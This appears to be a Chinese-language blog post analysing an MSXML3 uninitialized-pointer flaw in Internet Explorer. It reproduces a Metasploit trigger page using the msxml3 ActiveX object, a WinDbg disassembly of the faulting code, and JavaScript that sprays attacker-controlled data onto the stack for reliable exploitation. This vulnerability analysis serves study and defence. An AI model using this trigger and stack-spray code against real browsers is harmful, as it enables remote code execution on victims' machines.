- A+
所属分类:网络安全
MSF的触发代码如下:
触发时的代码如下:
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"> </object> <script> document.getElementById("xx").object.definition(0); </script>
0:015> u 5dd8d7c9 L50 msxml3!_dispatchImpl::InvokeHelper+0x93: 5dd8d7c9 8b45ec mov eax,dword ptr [ebp-14h] 5dd8d7cc 3bc3 cmp eax,ebx 5dd8d7ce 8bf0 mov esi,eax 5dd8d7d0 7426 je msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8) 5dd8d7d2 ff7528 push dword ptr [ebp+28h] 5dd8d7d5 8b08 mov ecx,dword ptr [eax] 5dd8d7d7 ff7524 push dword ptr [ebp+24h] 5dd8d7da ff7520 push dword ptr [ebp+20h] 5dd8d7dd 57 push edi 5dd8d7de 6a03 push 3 5dd8d7e0 ff7514 push dword ptr [ebp+14h] 5dd8d7e3 6870a8d85d push offset msxml3!GUID_NULL (5dd8a870) 5dd8d7e8 53 push ebx 5dd8d7e9 50 push eax 5dd8d7ea ff5118 call dword ptr [ecx+18h]
其中 5dd8d7c9 8b45ec mov eax,dword ptr [ebp-14h] 中 eax的值来自于栈上,栈上的值未经初始化,被直接用做对象指针后就会出现问题。要稳定利用该漏洞,就需要对eax的值进行控制,只要预先在栈上排布我们要的数据就可以,比如 unescape(“%u1111%u1111″)。以下代码可以实现该功能:
执行完 pic.nameProp 后,就会在栈上留下0×2000左右大小的可控数据。
var src = unescape("%u1111%u1111"); while (src.length < 0x1002) src += src; src = "\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp;
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫